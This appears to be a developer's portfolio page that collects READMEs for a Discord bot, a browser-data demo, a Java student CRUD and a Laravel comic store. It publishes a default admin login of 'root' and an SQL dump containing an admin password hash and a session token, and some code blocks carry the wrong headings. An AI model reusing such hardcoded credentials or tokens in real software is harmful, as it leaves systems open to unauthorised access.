* `c!say embed <args>` repeats what you have said but in an embedded text. 
* `c!love <@member>` Measures your love compatibility with the mentioned user.
* `c!impostor <@member>` Sends a text with the impostor. 
* `c!hack <@member>` Simulates a hack on the user / Image.
* `c!chiste` Sends an image with a joke / Image.

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

### Utility
* `c!avatar  <@member>` Sends a user's avatar Gif / Image. 
* `c!tts  <args>` Joins the voice channel you are in and repeats the text said in Spanish / Audio. 
* `c!en_tts  <args>` Joins the voice channel you are in and repeats the text said in English / Audio. 

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

### NSFW
Sends a gif or image 
* `c!netorare`
* `c!maid`

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

### Libraries and frameworks used
* [dotenv](https://github.com/motdotla/dotenv#readme) and [express-js](http://expressjs.com/)
* [typescript](https://www.typescriptlang.org/)
* [discord.js](https://github.com/discordjs/discord.js/) and [@discordjs/opus](https://www.npmjs.com/package/@discordjs/opus)
* [weather-js](https://github.com/devfacet/weather)
* [mongoose](https://github.com/Automattic/mongoose)
* [megadb](https://github.com/sergiom19/guia-megadb)
* [nekos-image-api](https://www.npmjs.com/package/nekos-image-api) and [nekos.life](https://github.com/Nekos-life/nekos-dot-life)
* [node-fetch](https://github.com/node-fetch/node-fetch)
* [os](https://github.com/DiegoRBaquero/node-os)
* [akaneko](https://npm.io/package/akaneko)
* [star-labs](https://www.npmjs.com/package/star-labs)
* [figlet](https://github.com/patorjk/figlet.js#readme)
* [mech-aki](https://github.com/MechSlayer/mech-aki#readme)
* [discord-tts](https://www.npmjs.com/package/discord-tts)

Cler Discord Bot Version 1.0


# Installation

* The complete guide can be found at [GitHub](https://github.com/aiskoa/espejito)
* Page can be found [Here](https://aiskoa.github.io/espejito/)

<h1 align="center">🍀 Espejito... My Data 🍀</h1>
  Small application that displays the data that a web page can obtain
</p>

> This project was made for learning purposes only

* Access to the [Website](https://aiskoa.github.io/espejito/)

## Finish

* View your data, if you are using VPN it will show another address, if you are using Brave or another browser it may block tracking.

#### Download

Available for Mac, Linux and Windows.

[Check the latest release](https://github.com/aiskoa/espejito)

### License

💜 [MIT License](https://github.com/aiskoa/espejito/blob/main/LICENSE)

### Code Example

```javascript
const container = 
document.getElementById("sections");

const sections = [
  {
    title: "Estas usando un navegador",
    content: {
      Nombre: platform.name,
      Version: platform.version,
      Diseño: platform.layout,
      Idioma: navigator.language,
      Cookies: navigator.cookieEnabled,
      "No rastrear": navigator.doNotTrack,
      Complementos: navigator.plugins?.length,
    },
  },
];
```


Espejito


# Java CRUD

<h1 align="center">☕ JAVA CRUD Students ☕</h1>
<p align="center">
  Java CRUD for the enrollment, editing and deletion of students from a school, this enrollment works with a MySQL database. Using NetBeans

### Login
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/login.png)

### Edit
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/edit.png)

### View
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/view.png)
</p>
<br>
> This project has been carried out for learning purposes only, any errors that may be found must be corrected by yourself.
<br>

* [GitHub](https://github.com/aiskoa/java-crud-alumnos)
  
* [Docs](https://github.com/aiskoa/java-crud-alumnos/blob/main/DocCalificaciones.pdf)

<br>
<br>

>>Database:
```sql
Name: dbcalificaciones,   `NumeroLista` int(11) NOT NULL,
  `Nombre` varchar(50) NOT NULL,
  `ApellidoPaterno` varchar(50) NOT NULL,
  `Sexo` varchar(15) NOT NULL,
  `Carrera` varchar(50) NOT NULL,
  `Materia` varchar(50) NOT NULL,
  `PlanEstudios` int(11) NOT NULL,
  `D1` int(11) NOT NULL,
  `D2` int(11) NOT NULL,
  `D3` int(11) NOT NULL,
  `PromedioR` int(11) NOT NULL,
  `Secuencia` varchar(20) NOT NULL,
  `NoEquipo` int(11) NOT NULL.
```

&nbsp;

  and
```sql
>>`id` int(11) NOT NULL,
  `user` varchar(45) NOT NULL,
  `password` varchar(255) NOT NULL  
```

&nbsp;

user: admin@root.com password: root
<br>
the mysql connector for java is in the controller folder
<br>


# How to use

## Step 1

* Import the project to your netbeans folder.

## Step 2

* Open the project, check for errors then compile and run.

## Step 3

* If you have already connected the database and everything works, you can compile the project to .jar

<br>

# Download
Available only on Windows.

[Check the latest release](https://github.com/aiskoa/java-crud-alumnos)

<br>

# Complete Documentation

[PDF](./DocCalificaciones.pdf)

<br>

# License

💜 [MIT License](/LICENSE)

Java CRUD


# CASA DE LOS COMICS

![imageTitle](https://i.ibb.co/f4TJcSD/casacomics.png)

## Laravel, PHP and MySQL

Online store made in Laravel and Braintree for Paypal payments.

![StoreGIF](https://i.imgur.com/GaOgDrE.gif)

### Features

Products, Payment, Cart, Orders, Checkout, Payment, Admin panel, Paypal, Mastercard or Visa.

## 📦 Products

![Products](https://i.imgur.com/wAEz6UJ.jpg)

![Product](https://i.imgur.com/3omPNj5.jpg)

## 🛒 Cart

![Cart](https://i.imgur.com/0Pu4B4U.jpg)

## ℹ️ Register

![Cart](https://i.imgur.com/ZGpxdHz.jpeg)

## 💁 About

![Cart](https://i.imgur.com/uovdT1p.jpeg)

---

Tables are loaded from the database named dbventascc into phpmyadmin.

## 🏨 Databases

![Cart](https://i.imgur.com/Abyk012.jpeg)

### Admins Table

```sql
-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `admins`
--

CREATE TABLE IF NOT EXISTS `admins` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `password` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL,
  `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `admins_email_unique` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Volcado de datos para la tabla `admins`
--

INSERT INTO `admins` (`id`, `name`, `email`, `password`, `remember_token`, `created_at`, `updated_at`) VALUES
(1, 'admin', 'admin@root.com', '$2y$10$rGSPlWzTNYA.TrstOhMk.OQxt61X70IhN6ekvk328hFEEEMJIGMby', 'am6MEUQjGTeNmjnASaeBKpzbyrOfqPM39BK7qp0zaC0axXJncsvoUeXXaV8P', '2021-05-03 08:12:39', '2021-05-03 08:12:39');

-- --------------------------------------------------------
```

### Payments Table

```php
<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

$uri = urldecode(
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)
);

// This file allows us to emulate Apache's "mod_rewrite" functionality from the
// built-in PHP web server. This provides a convenient way to test a Laravel
// application without having installed a "real" web server software here.
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
    return false;
}

require_once __DIR__.'/public/index.php';

```

---

### 💻 Console

![Console](https://i.imgur.com/mdeSN2n.jpeg)

### Hashing Functions for passwords

```sql
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Default Hash Driver
    |--------------------------------------------------------------------------
    |
    | This option controls the default hash driver that will be used to hash
    | passwords for your application. By default, the bcrypt algorithm is
    | used; however, you remain free to modify this option if you wish.
    |
    | Supported: "bcrypt", "argon"
    |
    */

    'driver' => 'bcrypt',

    /*
    |--------------------------------------------------------------------------
    | Bcrypt Options
    |--------------------------------------------------------------------------
    |
    | Here you may specify the configuration options that should be used when
    | passwords are hashed using the Bcrypt algorithm. This will allow you
    | to control the amount of time it takes to hash the given password.
    |
    */

    'bcrypt' => [
        'rounds' => env('BCRYPT_ROUNDS', 10),
    ],

    /*
    |--------------------------------------------------------------------------
    | Argon Options
    |--------------------------------------------------------------------------
    |
    | Here you may specify the configuration options that should be used when
    | passwords are hashed using the Argon algorithm. These will allow you
    | to control the amount of time it takes to hash the given password.
    |
    */

    'argon' => [
        'memory' => 1024,
        'threads' => 2,
        'time' => 2,
    ],

];
```

---

CRUD functions are available in the `App\Http\Controllers\AdminController` class.

### 🍏 Panel / Dashboard

![Panel](https://i.imgur.com/tjP4fUK.jpeg)

### Inform creator (EXCEL, XML or CSV)

![Informer creator](https://i.imgur.com/CEHGtaz.jpeg)

### Create and update a client or employee

![Update client](https://i.imgur.com/Uqew5jR.jpeg)

### Category list

![Category](https://i.imgur.com/VCgfsgQ.jpeg)

### Index page

![index](https://i.imgur.com/SWrm6qw.jpeg)

---

### ⬇ Download

The project is deprecated and i will not continue to develop it, but you can download it and solve the bugs.

[Download](https://www.mediafire.com/file/o1mz1wkf2cuq6nt/CC.zip/file)

### 📝 License

Copyright © 2024 [Aiskoa](https://aiskoa.vercel.app).


Blog Posts